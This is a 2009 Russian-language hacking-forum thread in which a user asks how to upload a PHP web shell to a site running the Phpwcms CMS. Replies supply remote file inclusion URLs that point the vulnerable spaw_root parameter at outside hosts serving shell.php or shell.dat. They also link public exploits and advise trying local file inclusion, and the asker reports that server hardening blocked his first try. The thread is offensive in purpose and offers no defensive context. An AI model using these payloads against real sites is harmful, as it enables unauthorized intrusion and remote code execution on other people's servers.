ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Phpwcms
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Phpwcms
  #1  
Старый 23.01.2009, 20:28
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию Phpwcms
Кто знает,как залить пхпшелл в эту CMSку?))
 
Ответить с цитированием

  #2  
Старый 23.01.2009, 20:33
Аватар для ElteRUS
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию
версия ?

RFI
http://www.site.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://www.evalsite.com/shell.php?
Последний раз редактировалось ElteRUS; 23.01.2009 в 20:38..
 
Ответить с цитированием

  #3  
Старый 23.01.2009, 20:48
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
Хз как её узнать,но там стоит open_basedir и safe_mod =_=.Как раз этот метод пробывал недавно,и бэйздира меня спалила)( Версия РНР - 4.3.10-22

Can`t include external file пишет =_=.А стоит allow_url_fopen() =_=
Последний раз редактировалось Велемир; 23.01.2009 в 21:02..
 
Ответить с цитированием

  #4  
Старый 23.01.2009, 21:11
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию
Так ищи локальный инклуд, удаленный вообще редко где прокатывает

http://milw0rm.com/exploits/2758
http://milw0rm.com/exploits/2163
 
Ответить с цитированием

  #5  
Старый 23.01.2009, 21:17
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
Придётся... )
 
Ответить с цитированием

  #6  
Старый 23.01.2009, 21:26
Аватар для Велемир
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161

Репутация: 142


Отправить сообщение для Велемир с помощью ICQ
По умолчанию
http://site.com/nclude/inc_ext/spaw/dialogs/img.php

Вывелось Image Properties (http://milw0rm.com/exploits/2163)

К чему это ? spaw_root переменной вообще нету )))


как тут:

PoC:
http://victim-site/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://ehmorgan.net/shell.dat?
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ